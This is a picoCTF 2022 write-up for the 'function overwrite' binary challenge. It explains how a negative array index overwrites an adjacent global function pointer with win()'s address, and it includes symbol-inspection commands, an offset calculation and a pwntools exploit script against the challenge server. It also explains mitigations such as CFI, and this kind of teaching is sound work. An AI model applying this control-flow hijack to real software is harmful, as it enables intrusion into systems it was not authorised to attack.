function overwrite picoCTF 2022 Solution

Published: July 20, 2023

Description

The binary maintains an array and a global function pointer table in adjacent memory. An out-of-bounds write using a negative index allows overwriting a function pointer with the address of win().

This demonstrates how memory-adjacent data structures can be weaponized when array bounds are not validated.

Download the binary and examine it in Ghidra to find the global layout.

Calculate the offset between the array base and the function pointer.

Send a negative index and the address of win() to overwrite the pointer.

bash
wget https://artifacts.picoctf.net/c/315/vuln && chmod +x vuln
bash
objdump -t vuln | grep -E 'win|function_pointer|storage'
bash
nm vuln | sort
  1. Step 1Understand the memory layout
    The binary has a global array and a global function pointer near each other. Confirm the architecture first (file vuln) so you size each array element correctly: 4 bytes for an i386 int*, 8 bytes on x86-64. Then list symbols with nm to read the actual addresses and compute the negative index. The numbers below are illustrative - your offsets will differ.
    bash
    file vuln
    bash
    nm vuln | grep -E 'function_ptr|array|win'
    bash
    gdb -q -ex 'p sizeof(int*)' -ex quit ./vuln
    Learn more

    Global (static) variables in C are placed in the BSS section (zero-initialized) or data section (explicitly initialized). When multiple globals are declared sequentially, the linker often places them adjacently in memory. nm lists all symbols and their addresses, revealing this layout. The addresses shown below come from one specific build of the binary - re-run nm vuln | grep -E 'function_ptr|array' on your copy and substitute your own numbers before computing the offset.

    Memory layout (typical). The linker placed function_ptr just before array in the data section:

    address      symbol            value
    0x0804c038   function_ptr   = &easy_checker         <- TARGET
    0x0804c03c   ... padding ...
    0x0804c060   array[0]                                <- BASE
    0x0804c064   array[1]
    0x0804c068   array[2]
    ...
    
    negative offset in elements:
      (function_ptr - array) / sizeof(int)
    = (0x0804c038 - 0x0804c060) / 4
    = -0x28 / 4
    = -10        -> array[-10] aliases *function_ptr

    C address arithmetic: array[-10] compiles to *(array + (-10) * sizeof(int)), which is *(array - 40 bytes). The compiler does no bounds check; the negative index resolves to a perfectly valid pointer that just happens to land on the function pointer. Writing through array[-10] = win_addr overwrites the function pointer.

    The negative index in elements = (target_address - array_address) / element_size. This is negative when target precedes array, positive when target follows.

  2. Step 2Calculate the exploit index
    Compute offset = (function_ptr_addr - array_addr) / sizeof(element). Enter this as a negative index when the program asks which entry to modify.
    python
    python3 -c "
    # Replace with values from nm output
    array_addr   = 0x0804c060  # address of the array
    funptr_addr  = 0x0804c038  # address of the function pointer
    elem_size    = 4           # sizeof(int) or sizeof(pointer)
    
    offset = (funptr_addr - array_addr) // elem_size
    print(f'Index to use: {offset}')   # negative number
    "
    Learn more

    When the program prompts "which index to write?" enter the computed negative offset. When it prompts "what value to write?" enter the decimal representation of win()'s address.

    Out-of-bounds array indexing with negative indices is a spatial memory safety violation. C does not perform bounds checks on arrays; it is the programmer's responsibility. Languages with bounds checking (Rust, Java, Python) would throw an exception rather than silently writing to adjacent memory.

    This type of vulnerability, when affecting a function pointer, is conceptually similar to the classic heap overflow that overwrites a C++ vtable pointer. In both cases, control flow is hijacked by corrupting a pointer that is later called as a function.

  3. Step 3Trigger the overwritten function pointer
    After writing win()'s address to the function pointer slot, the program will eventually call through that pointer - typically when it asks you to pick another menu option or hit enter to continue. Reply to that next prompt and execution lands inside win() instead of the original handler.
    python
    python3 -c "
    from pwn import *
    
    elf = ELF('./vuln')
    win_addr = elf.symbols['win']
    
    array_addr  = 0x0804c060
    funptr_addr = 0x0804c038
    offset      = (funptr_addr - array_addr) // 4  # negative
    
    try:
        p = remote('saturn.picoctf.net', <PORT_FROM_INSTANCE>)
    except Exception as e:
        raise SystemExit(f'remote() failed: {e}')
    
    p.sendlineafter(b'index:', str(offset).encode())
    p.sendlineafter(b'value:', str(win_addr).encode())
    # After the write, the menu loops; one more newline triggers the indirect call.
    p.sendline(b'')
    print(p.recvall(timeout=5).decode(errors='replace'))
    "
    Learn more

    After the write, when the program calls through the function pointer (e.g., (*handler)()), it loads win()'s address and jumps to it. The flag is printed.

    In real-world exploitation, function pointer overwrites are a classic technique. They were historically common in heap exploitation (overwriting __malloc_hook, __free_hook, or C++ vtables) before modern mitigations like Safe Stack, CFI, and shadow call stacks made them harder.

    Control Flow Integrity (CFI) is the modern defense: it validates that indirect calls (through function pointers or vtables) jump only to valid targets. LLVM's CFI and Microsoft's Control Flow Guard (CFG) implement this. Without CFI, any writable function pointer is a potential control-flow hijack target.

Flag

picoCTF{0v3rfl0w_pr0t3ct10ns_4r3...}

Calculate the negative index to reach the function pointer from the array, write win()'s address there, then trigger the call to print the flag.

Want more picoCTF 2022 writeups?

Useful tools for Binary Exploitation

Related reading

What to try next